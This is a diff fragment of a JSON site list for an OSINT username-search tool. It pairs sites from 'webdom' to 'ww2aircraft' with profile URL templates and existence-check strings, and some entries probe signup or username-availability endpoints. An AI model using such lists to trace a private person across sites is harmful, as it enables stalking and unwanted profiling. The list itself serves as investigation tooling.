    0 Result's", + "match_string": "Download" + }, + { + "name": "webdom.3dn.ru", + "url": "http://webdom.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webflow.com", + "url": "https://webflow.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Webhamster", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e \u0432\u0430\u0448\u0435\u043c\u0443 \u0437\u0430\u043f\u0440\u043e\u0441\u0443 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "Weblancer", + "url": "https://www.weblancer.net/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Weblate", + "url": "https://hosted.weblate.org/user/{}/", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webmedia.ucoz.ru", + "url": "http://webmedia.ucoz.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WebNode", + "url": "https://{}.webnode.cz/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "webonrails.ru", + "url": "https://webonrails.ru/user/{}/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "

    \u041e\u0448\u0438\u0431\u043a\u0430

    ", + "match_string": "post_feed_title" + }, + { + "name": "WebOS", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u0434\u0445\u043e\u0434\u044f\u0449\u0438\u0445 \u0442\u0435\u043c \u0438\u043b\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e." + }, + { + "name": "websecurity.3dn.ru", + "url": "http://websecurity.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weburg", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "»," + }, + { + "name": "wedding-image.ru", + "url": "http://wedding-image.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weebly", + "url": "http://{}.weebly.com/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Error - Page Not Found", + "match_string": "" + }, + { + "name": "Weebly", + "url": "https://{}.weebly.com/", + "category": "news", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Weedmaps", + "url": "https://weedmaps.com/brands/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Find Marijuana Dispensaries, Brands" + }, + { + "name": "Weforum", + "url": "https://www.weforum.org/people/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wego.social", + "url": "https://wego.social/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry, page not found!", + "match_string": "Following</span>" + }, + { + "name": "Weibo", + "url": "https://weibo.com/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<h2>400 Bad Request</h2>", + "match_string": "{\"ok\":1,\"data\":{\"user\":" + }, + { + "name": "Weibo", + "url": "https://weibo.com/ajax/profile/info?custom={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 400, + "error_string": "<h2>400 Bad Request</h2>", + "match_code": 200, + "match_string": "\"user\":" + }, + { + "name": "Weld", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0438 \u043d\u0435 \u0438\u043c\u0435\u0435\u0442 \u043f\u0440\u043e\u0444\u0438\u043b\u044f \u0434\u043b\u044f \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440\u0430." + }, + { + "name": "Werelate", + "url": "https://werelate.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "WeTransfer", + "url": "https://{}.wetransfer.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 307, + "match_code": 200, + "match_string": "workspaceName" + }, + { + "name": "Wfts", + "url": "https://wfts.su/profile/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041e\u0448\u0438\u0431\u043a\u0430: \u0438\u0433\u0440\u043e\u043a \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "What Happens In Vegas Stays (Las Vegas, NV)", + "url": "https://www.whathappensinvegasstays.com/?s={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "Nothing Found</h1>", + "match_string": "search-results" + }, + { + "name": "Wheretosee", + "url": "https://wheretosee.org/wildlife/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Whitewaterguidebook", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Whonix", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "No results found." + }, + { + "name": "whonixforum", + "url": "https://forums.whonix.org/u/{}/summary", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Whyislam", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d\u043e" + }, + { + "name": "WicgForum", + "url": "https://discourse.wicg.io/u/{}/summary", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "<title>WICG", + "match_string": " Profile -" + }, + { + "name": "Wickeditor", + "url": "https://forum.wickeditor.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiki", + "url": "https://wiki.bytecode.club/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.clicklaw.bc.ca/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.contribs.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.eclipse.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.edgertronic.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.factorio.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.freephile.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.geni.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.gentoo.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.hostelmanagement.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.lostsouls.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.openmw.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.openvz.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.osdev.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.robojackets.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.secondlife.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.shartak.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.spacesim.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.therofl98.co/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.ubc.ca/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.urbandead.com/User:{}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.vtiger.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.xentax.com/wiki/User:{}", + "category": "social", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wiki", + "url": "https://wiki.xiph.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "wiki.creativecommons.org", + "url": "https://wiki.creativecommons.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.linuxquestions.org", + "url": "https://wiki.linuxquestions.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.mozilla.org", + "url": "https://wiki.mozilla.org/wiki/User:{}", + "category": "tech", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.mtasa.com", + "url": "https://wiki.mtasa.com/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.teamfortress.com", + "url": "https://wiki.teamfortress.com/wiki/User:{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.tfes.org", + "url": "https://wiki.tfes.org/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered.", + "match_string": "History" + }, + { + "name": "wiki.themanaworld.org", + "url": "https://wiki.themanaworld.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiki.vg", + "url": "https://wiki.vg/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.wesnoth.org", + "url": "https://wiki.wesnoth.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wiki.xkcd.com", + "url": "https://wiki.xkcd.com/geohashing/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikialpha.org", + "url": "https://wikialpha.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikiapiary.com", + "url": "https://wikiapiary.com/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikicu", + "url": "https://wikicu.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikidifferences", + "url": "https://wikidifferences.com/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikidot", + "url": "http://www.wikidot.com/user:info/{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User does not exist.", + "match_string": "Wikidot user since" + }, + { + "name": "Wikidot", + "url": "https://wikidot.com/user:info/{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "User Information", + "match_string": "user-info" + }, + { + "name": "Wikidr", + "url": "https://wikidr.net/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikifarming", + "url": "https://wikifarming.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikigrib", + "url": "https://wikigrib.ru/author/{}/", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "<title>\u042d\u043d\u0446\u0438\u043a\u043b\u043e\u043f\u0435\u0434\u0438\u044f \u0433\u0440\u0438\u0431\u043e\u0432 \u00ab\u0412\u0438\u043a\u0438\u0413\u0440\u0438\u0431\u00bb" + }, + { + "name": "Wikihow", + "url": "https://www.wikihow.com/Author/{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikiislam.net", + "url": "https://wikiislam.net/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikiloc", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikimapia", + "url": "https://wikimapia.org/user/register/?check=username&value={}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"ok\":true", + "match_code": 200, + "match_string": "\"ok\":false" + }, + { + "name": "WikimapiaProfile", + "url": "http://wikimapia.org/user/{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "January 01, 1970" + }, + { + "name": "WikimapiaSearch", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "20" + }, + { + "name": "Wikimsk", + "url": "https://wikiMSK.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipathways", + "url": "https://wikipathways.org/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipedia", + "url": "https://www.wikipedia.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered" + }, + { + "name": "Wikipedia", + "url": "https://en.wikipedia.org/wiki/Special:CentralAuth/{}?uselang=qqx", + "category": "wiki", + "source": "sherlock", + "nsfw": false, + "error_type": "message", + "error_string": "centralauth-admin-nonexistent:" + }, + { + "name": "Wikipedia", + "url": "https://meta.wikimedia.org/w/api.php?action=query&format=json&list=globalallusers&aguprefix={}&agulimit=100", + "category": "news", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": ":[]}}", + "match_code": 200, + "match_string": "{\"id\":" + }, + { + "name": "Wikipedia", + "url": "https://en.wikipedia.org/w/api.php?action=query&format=json&list=users&ususers={}", + "category": "news", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "missing:", + "match_code": 200, + "match_string": "userid" + }, + { + "name": "wikipedia", + "url": "https://en.wikipedia.org/wiki/User:{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Wikipediaquality", + "url": "https://wikipediaquality.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikipediocracy", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Sorry but you cannot use" + }, + { + "name": "Wikipunch", + "url": "https://wikipunch.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikiquiz", + "url": "https://wikiquiz.org/revision-notes/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikiquote", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wikishire", + "url": "https://wikishire.co.uk/wiki/User:{}", + "category": "professional", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wikivoyage", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "category": "wiki", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wikivoyage", + "url": "https://en.wikivoyage.org/wiki/User:{}", + "category": "tech", + "source": "detectdee", + "nsfw": false, + "error_type": "status_code", + "match_code": 200 + }, + { + "name": "Wikiwrimo", + "url": "https://wikiwrimo.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "wikizilla.org", + "url": "https://wikizilla.org/wiki/User:{}", + "category": "wiki", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "is not registered.", + "match_string": "class=\"mw-socialprofile-avatar\" alt=\"avatar\"/><" + }, + { + "name": "Wiktionary", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wild-nature", + "url": "http://www.wild-nature.ru/users/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041d\u0430\u0448\u0438 \u0430\u0432\u0442\u043e\u0440\u044b | \u0414\u0438\u043a\u0430\u044f \u043f\u0440\u0438\u0440\u043e\u0434\u0430 \u0432 \u0444\u043e\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044f\u0445 \u0438 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u0445" + }, + { + "name": "WimkinPublicProfile", + "url": "https://wimkin.com/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": " The page you are looking for cannot be found.", + "match_string": "is on WIMKIN" + }, + { + "name": "Winamp", + "url": "http://forums.winamp.com/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Windows10forums", + "url": "https://www.windows10forums.com//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Windows10forums", + "url": "https://www.windows10forums.com/members/?username={}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "redirection" + }, + { + "name": "Windowsforum", + "url": "https://windowsforum.com/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "The specified member cannot be found" + }, + { + "name": "Windy", + "url": "https://community.windy.com/user/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wineberserkers", + "url": "https://www.wineberserkers.com/u/{}/summary", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Winnipegwatch", + "url": "https://winnipegwatch.websitetoolbox.com/search?keywords=&searchin=message&member={}&do=findposts&id=&replies=atleast&numreplies=0&daterange=0&custdatefrom=&custdateto=&sort=&order=desc&radio_showas=threads&btnSearch=Search&action=doSearch", + "category": "social", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "was not found." + }, + { + "name": "Wireclub", + "url": "https://www.wireclub.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WiredNewYork", + "url": "http://wirednewyork.com//member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wiscobourbon", + "url": "https://wiscobourbon.com/forums/users/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wishlistr", + "url": "https://www.wishlistr.com/profile/{}", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "Wishlistr", + "url": "https://www.wishlistr.com/sign-up/?rs=checkUserName&rsargs[]={}", + "category": "shopping", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "+:var res = parseInt(0);", + "match_code": 200, + "match_string": "+:var res = \"" + }, + { + "name": "wishlistr", + "url": "https://www.wishlistr.com/profile/{}/", + "category": "shopping", + "source": "reveal_my_name", + "nsfw": false, + "error_type": "status_code", + "error_code": 302, + "match_code": 200, + "match_string": "s profile" + }, + { + "name": "Witchnest", + "url": "https://witchnest.ru/user/{}/", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Domain Error Page" + }, + { + "name": "Withoutvowels", + "url": "https://withoutvowels.org/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "Wittyprofiles", + "url": "http://www.wittyprofiles.com/author/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "It looks like you are looking for something that isn't here." + }, + { + "name": "Wix", + "url": "https://{}.wix.com", + "category": "social", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wm-maximum.ru", + "url": "http://wm-maximum.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wm.ucoz.com", + "url": "http://wm.ucoz.com/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wmmail-wmmail.3dn.ru", + "url": "http://wmmail-wmmail.3dn.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WolframalphaForum", + "url": "https://community.wolfram.com/web/{}/home", + "category": "forum", + "source": "sherlock", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wolga24.at.ua", + "url": "http://wolga24.at.ua/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WolniSlowianie", + "url": "https://wolnislowianie.pl/{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Nie znaleziono strony, kt\u00f3rej szukasz.", + "match_string": "O\u015b czasu" + }, + { + "name": "Wolpy", + "url": "http://wolpy.com/{}/profile", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wolpy", + "url": "https://wolpy.com/{}", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "ItPage not found" + }, + { + "name": "Women Behind Bars (search)", + "url": "https://womenbehindbars.com/?s={}", + "category": "other", + "source": "cupidcr4wl", + "nsfw": false, + "error_type": "message", + "error_string": "<p>Sorry, but nothing", + "match_string": "</span> Read More" + }, + { + "name": "Wordart", + "url": "https://wordart.com/gallery/user/{}", + "category": "art", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wordnik", + "url": "https://www.wordnik.com/users/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "Wordnik: Page Not Found", + "match_string": "Welcome," + }, + { + "name": "Wordnik", + "url": "https://wordnik.com/users/{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "error_string": "You've found our 404 page" + }, + { + "name": "WordPress", + "url": "https://{}.wordpress.com/", + "category": "news", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WordPress.com (Deleted)", + "url": "https://public-api.wordpress.com/rest/v1.1/sites/{}.wordpress.com", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "status_code", + "error_code": 404, + "error_string": "\"error\":\"unknown_blog\"", + "match_code": 403, + "match_string": "\"message\":\"API calls to this endpoint have been disabled.\"" + }, + { + "name": "WordPress.org (Forums)", + "url": "https://login.wordpress.org/wp-json/wporg/v1/username-available/{}", + "category": "social", + "source": "blackbird", + "nsfw": false, + "error_type": "message", + "error_code": 200, + "error_string": "\"available\":true", + "match_code": 200, + "match_string": "\"error\":\"That username is already in use." + }, + { + "name": "WordPressOrg", + "url": "https://profiles.wordpress.org/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "response_url" + }, + { + "name": "WordpressSupport", + "url": "https://wordpress.org/support/users/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "User not found", + "match_string": "s Profile | WordPress.org" + }, + { + "name": "Worldis.me", + "url": "http://en.worldis.me/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "user_password", + "match_string": "my_profile" + }, + { + "name": "worldofdragonage.ru", + "url": "http://worldofdragonage.ru/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldofplayers", + "url": "https://worldofplayers.ru/members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldofwarcraft_blizzard", + "url": "https://worldofwarcraft.blizzard.com/en-us/character/us/frostmourne/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "Error 404" + }, + { + "name": "Worldtruth", + "url": "https://www.worldtruth.online/{}/", + "category": "other", + "source": "snoop", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Worldtruth", + "url": "https://www.worldtruth.online/{}", + "category": "other", + "source": "nexfil", + "nsfw": false + }, + { + "name": "Worldwindcentral", + "url": "https://worldwindcentral.com/wiki/User:{}", + "category": "wiki", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "WorlfOfTanksForum", + "url": "https://forum.wotanks.com/member.php/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d" + }, + { + "name": "Wot-game", + "url": "https://wot-game.com/user/{}/", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "WOW Circle", + "url": "https://forum.wowcircle.net/member.php?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wow-game", + "url": "http://www.wow-game.ru/index/8-0-{}", + "category": "gaming", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "wow-game.ru", + "url": "http://wow-game.ru/index/8-0-{}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowhead", + "url": "https://www.wowhead.com/user={}", + "category": "gaming", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowhead", + "url": "https://wowhead.com/user={}", + "category": "gaming", + "source": "social_analyzer", + "nsfw": false, + "error_type": "message", + "match_string": "\"description\"" + }, + { + "name": "Wowjp", + "url": "https://wowjp.net/index/8-0-{}", + "category": "forum", + "source": "snoop", + "nsfw": false, + "error_type": "message", + "error_string": "\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "wowjp.net", + "url": "http://wowjp.net/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "wowpaksi.clan.su", + "url": "http://wowpaksi.clan.su/index/8-0-{}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wowpedia", + "url": "https://wowpedia.org/User:{}", + "category": "other", + "source": "social_analyzer", + "nsfw": false + }, + { + "name": "write.as", + "url": "https://write.as/{}", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Writercenter", + "url": "https://writercenter.ru/profile/{}/", + "category": "other", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "writingforums.org", + "url": "http://www.writingforums.org//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "status_code" + }, + { + "name": "Wuz", + "url": "http://wuz.by/forum/members/?username={}", + "category": "forum", + "source": "maigret", + "nsfw": false, + "error_type": "message", + "error_string": "\u0423\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043d\u0435 \u043d\u0430\u0439\u0434\u0435\u043d" + }, + { + "name": "ww2aircraft.net", + "url": "https://ww2aircraft.net/forum//members/{}.1/", + "category": "forum", + "source": "maigret", + "nsfw": false, + 